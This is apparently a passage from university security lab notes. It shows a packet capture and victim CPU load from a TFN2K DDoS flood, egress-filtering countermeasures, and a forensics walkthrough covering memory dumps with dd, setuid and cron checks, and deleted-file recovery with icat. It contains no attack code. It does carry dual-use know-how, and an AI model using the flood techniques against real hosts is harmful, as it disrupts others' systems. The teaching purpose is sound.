      iest18:> 114 0.29517 68.235.166.0 -> iest18 length: 106 ICMP Echo request 115 0.00017 145.228.220.0 -> iest18 length: 60 TCP D=11884 S=48698 Syn Seq=15133544 Len=20 Win=23990 116 0.00015 8.100.11.0 -> iest18 length: 60 UDP D=2 S=65534 LEN=9 117 0.00037 0.96.70.0 -> iest18 length: 106 ICMP Echo request 118 0.00016 157.245.243.0 -> iest18 length: 60 TCP D=29943 S=26867 Syn Seq=16514205 Len=20 Win=31118 119 0.00015 35.119.45.0 -> iest18 length: 60 UDP D=3 S=65533 LEN=9 120 0.00036 17.39.208.0 -> iest18 length: 106 ICMP Echo request 121 0.00016 202.163.187.0 -> iest18 length: 60 TCP D=31941 S=13797 Syn Seq=4735357 Len=20 Win=26478 122 0.00016 228.207.50.0 -> iest18 length: 60 UDP D=4 S=65532 LEN=9 123 0.00036 8.155.94.0 -> iest18 length: 106 ICMP Echo request 124 0.00016 62.228.80.0 -> iest18 length: 60 TCP D=59474 S=62373 Syn Seq=914596 Len=20 Win=46767 125 0.00016 33.162.35.0 -> iest18 length: 60 UDP D=5 S=65531 LEN=9 126 0.00037 54.215.153.0 -> iest18 length: 106 ICMP Echo request 127 0.00017 124.194.56.0 -> iest18 length: 60 TCP D=43905 S=43300 Syn Seq=2801488 Len=20 Win=7339 128 0.00017 243.139.130.0 -> iest18 length: 60 UDP D=6 S=65530 LEN=9 129 0.00037 24.84.140.0 -> iest18 length: 106 ICMP Echo request 130 0.00017 101.149.180.0 -> iest18 length: 60 TCP D=52007 S=9808 Syn Seq=8685619 Len=20 Win=62874 116 0.00015 8.100.11.0 -> iest18 UDP D=2 S=65534 LEN=9 0: 0800 2072 a367 00d0 091c 531b 0800 4500 .. r.g....S...E. 16: 001d 7aa4 0000 e411 5ef8 0864 0b00 89bd ..z.....^ø.d.... 32: 6012 fffe 0002 0009 fff5 0000 0000 0000 `........õ...... 48: 0000 0000 0000 0000 0000 0000 ............ 117 0.00037 0.96.70.0 -> iest18 ICMP Echo request 0: 0800 2072 a367 00d0 091c 531b 0800 4500 .. r.g....S...E. 16: 005c 05d5 0000 0001 849d 0060 4600 89bd .\.........`F... 32: 6012 0800 f7ff 0000 0000 0000 0000 0000 `...÷........... 48: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 64: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 80: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 96: 0000 0000 0000 0000 0000 .......... 118 0.00016 157.245.243.0 -> iest18 TCP D=29943 S=26867 Syn Seq=16514205 Len=20 Win=31118 0: 0800 2072 a367 00d0 091c 531b 0800 4500 .. r.g....S...E. 16: 0028 9601 0000 cf06 db08 9df5 f300 89bd .(.........õó... 32: 6012 68f3 74f7 00fb fc9d 2265 0000 0022 `.hót÷...."e..." 48: 798e 769c e4fa 0000 0000 0000 y.v......... 119 0.00015 35.119.45.0 -> iest18 UDP D=3 S=65533 LEN=9 0: 0800 2072 a367 00d0 091c 531b 0800 4500 .. r.g....S...E. 16: 001d bcf6 0000 e511 de92 2377 2d00 89bd ...ö......#w-... 32: 6012 fffd 0003 0009 fff5 0000 0000 0000 `........õ...... 48: 0000 0000 0000 0000 0000 0000 ............

    5. Victim loading

      Before the attack, the CPU is over 90% idle

      last pid: 469; load averages: 1.41, 0.86, 0.55 10:51:10 44 processes: 42 sleeping, 1 running, 1 on cpu CPU states: 97.4% idle, 0.2% user, 2.0% kernel, 0.4% iowait, 0.0% swap Memory: 64M real, 2684K free, 328M swap free During the attack, the CPU Kernel loading shot up to 85% last pid: 469; load averages: 1.67, 0.82, 0.53 10:52:16 44 processes: 42 sleeping, 1 running, 1 on cpu CPU states: 14.4% idle, 0.2% user, 85.1% kernel, 0.4% iowait, 0.0% swap Memory: 64M real, 3316K free, 328M swap free


      Assignment F (cancel)


    6. Counter Measures

      There is no know way to defend against TFN2K. Many experts only suggest to prevent your own network resources from being used as clients or server node of the attack.

      1. Egress Filtering to Stop Spoofed IP Packets from Leaving Your Network

        Example:

        For IE network Extended IP access list 150 permit ip 137.189.96.0 0.0.3.255 any deny ip any any log For ERG netwrok Extended IP access list 151 permit ip 137.189.94.0 0.0.0.255 any deny ip any any log
      2. Disable IP Directed Broadcast on all Systems E.g. router apply the following at each network interface. no ip directed-broadcast
      3. Secure your hosts to keep away hacking in

    7. References:


    G) Computer Forensics

    Section Outline

    I) On-line inspection
    • clone the disk
    • memory dump
    • process investigation
    • collect network information
    • surveillance

    II) Off-line inspection
    • check the modify time, access time and status updated time of files
    • check if there is any file is infected
    • reverse engineering of suspicious programs/files

    III) Recovery and exam of removed files (not from back up tape)
    • dump the directory image (view the removed file name)
    • identify the inode
    • retrieve the removed file by icat

    References

    I) On-line inspection

    Never trust any program or tool at a compromised host because they can be trojaned. Use your own tursted toolkit on floppy or cdrom

    Clone the disk and copy data

    Memory Dump

    Using dd to snasphot the memory
            dd if= /dev/kmem of=output
            dd if= /dev/mem  of=output
    

    Process Investigation

    Collect Network Information


    II) Off-line inspection

    Always examin the cloned disk and mount the disk as read only file system

    Check the MAC time (modfiy, access and status changed time stamp)

    find -mtime|atime|ctime
    ls -lt|lut
    csh> find . -mtime -1 -type f -print | xargs ls -l 
    -rw-------   1 shlam    daemon     68215 Jun  9 10:10 ./ltrace_0.3.10.tar.gz
    -rw-------   1 shlam    daemon     44933 Jun  9 16:10 ./www.hack.com.tar.gz
    (find the file that modified lesser than a day)
    
    
    csh> ls -lut
    lrwxrwxrwx   1 shlam    daemon         2 Jun  9 17:52 m5 -> mm
    drwxrwxr-x   2 shlam    root         104 Jun  9 17:50 .X11-pipe/
    drwxrwxr-x   2 shlam    root         104 Jun  9 17:50 .X11-unix/
    drwxrwxrwx   2 root     root         107 Jun  9 17:50 .pcmcia/
    drwxrwxrwt   2 root     root         161 Jun  9 17:50 .rpc_door/
    drwx--x--x   7 shlam    daemon      1052 Jun  9 17:50 autofs-3.1.5/
    drwx--x--x   2 shlam    daemon       683 Jun  9 17:50 forensic/
    (list the more recent asscess file and directory)
    
    
    Note. Do not draw conclusion form MAC time stamp hastily becasue MAC time stamp can be forged easily.

    Check the log files

    Check the log files (syslog, messages, secure , mail, wtmp, utpmp, lastlog ...) in /var/adm , /var/log. Theese log files location is usually specified in /etc/syslog.conf Below is a list of some of the more common UNIX log file names, their function, and what to look for in those files.

    The common item to look for when reviewing log files is anything that appears out of the ordinary. Note. Log files can easily be erased or forged. Hence, besides looking for anything unusual entries in the log files, we should also look for any abnormal log entry absence.

    Check the consistency among your log files too. For example, if your NDIS log file show that there were lots of www traffic to your host, but your host httpd access.log does not show that. Then some of your httpd access.log entries may be erased.

    Check if any files are infected

    Do not use the IDS which just based on file size and check sum to determine if a file is infected or trojaned because they can be forged; use md5 instead.

    Find any suspicious setuid and setgid files (especially setuid root files) everywhere on your system. Intruders often leave setuid copies of /bin/sh or /bin/time around to allow them root access at a late time. The UNIX find(1) program can be used to hunt for setuid and/or setgid files. For example, you can use the following commands to find setuid root files and setgid kmem files on the entire file system:

            find / -user root -perm -4000 -print -xdev
            find / -group kmem -perm -2000 -print -xdev
    

    Exam user cron jobs

    Check the /var/spool/cron directory for any suspicious cron jobs as they can be used by the hackers as backdoor. Also, verify that all files/programs referenced (directly or indirectly) by the 'cron' jobs, and the job files themselves, are not world-writable.

    Exam user .forward jobs

    If you really allow your users to execute program through .forward, you need to check if these program is normal and not setuid

    Reverse engineering of suspicious program


    III) Recovery and exam of removed files (not from back up tape)


    
      od -cx directory
    
      ils inode
    
      icat /dev_name inode > outfile
    
    
    ntec5:/tmp/tt> ls
    ./  ../  abcdefg  hijklmn
    
    
    ntec5:/tmp/tt> cat abcdefg
    Hello.
    This is a testing.
    Bla... Bla...  testing
    
    testing
    
    
    ntec5:/tmp/tt> rm abcdefg
    rm: remove `abcdefg'? y
    
    ntec5:/tmp/tt> ls
    ./  ../  hijklmn
    
    
    (see the current directory inode)
    ntec5:/tmp/tt> ls -i
     198049 ./   160321 ../   198054 hijklmn
    
    (see the file system device)
    ntec5:/tmp/tt> df
    Filesystem           1k-blocks      Used Available Use% Mounted on
    /dev/hda3              2016044   1463012    450620  76% /
    
    (view the removed file inode)
    ntec5:/tmp/tt> icat /dev/hda3 198049|od -cx
    0000000   ¡ 005 003  \0  \f  \0 001 002   .  \0  \0  \0   A   r 002  \0
            05a1 0003 000c 0201 002e 0000 7241 0002
    0000020   0  \0 002 002   .   .  \0  \0   ¢ 005 003  \0 024  \0  \f 001
            0030 0202 2e2e 0000 05a2 0003 0014 010c
    0000040   .   h   i   j   k   l   m   n   .   s   w   p   £ 005 003  \0
            682e 6a69 6c6b 6e6d 732e 7077 05a3 0003
                                          ^^^^^^^^^
                                           (198051) 
    0000060 020  \0  \a 001   a   b   c   d   e   f   g   p   ¦ 005 003  \0
            0010 0107 6261 6463 6665 7067 05a6 0003
    0000100   Ä 017  \a 001   h   i   j   k   l   m   n   n   .   s   w   p
            0fc4 0107 6968 6b6a 6d6c 6e6e 732e 7077
    
    
    (retrive the removed by icat)
    ntec5:/tmp/tt> icat /dev/hda3 198051
    Hello.
    This is a testing.
    Bla... Bla...  testing
    
    testing
    
    
    (list the removed inode)
    ntec5:/tmp/tt> ils /dev/hda3 198051
    class|host|start_time
    ils|ntec5|960574486
    inum|allocation|uid|gid|m_time|a_time|c_time|dtime|mode|links|size|block0|block1
    198051|f|0|0|960574079|960574139|960574162|960574162|100644|0|60|418630|0
                                                                ^^ (links = 0) 
    
    ntec5:/tmp/tt> ls -i
     198049 ./   160321 ../   198054 hijklmn
    
    ntec5:/tmp/tt> ils /dev/hda3 198054
    class|host|start_time
    ils|ntec5|960574631
    inum|allocation|uid|gid|m_time|a_time|c_time|dtime|mode|links|size|block0|block1
    198054|a|0|0|960574099|960574099|960574099|0|100644|1|25|418631|0
    
    
    


    Assignment G.4 (partner a and b do it separately)
    1. Read /usr/local2/share/forensics/README file and follow the instructions in this REAME file to conduct the investigation
    2. Write your investigation report to /usr/local/apache_x/htdocs/sysmon/security/report.html


    References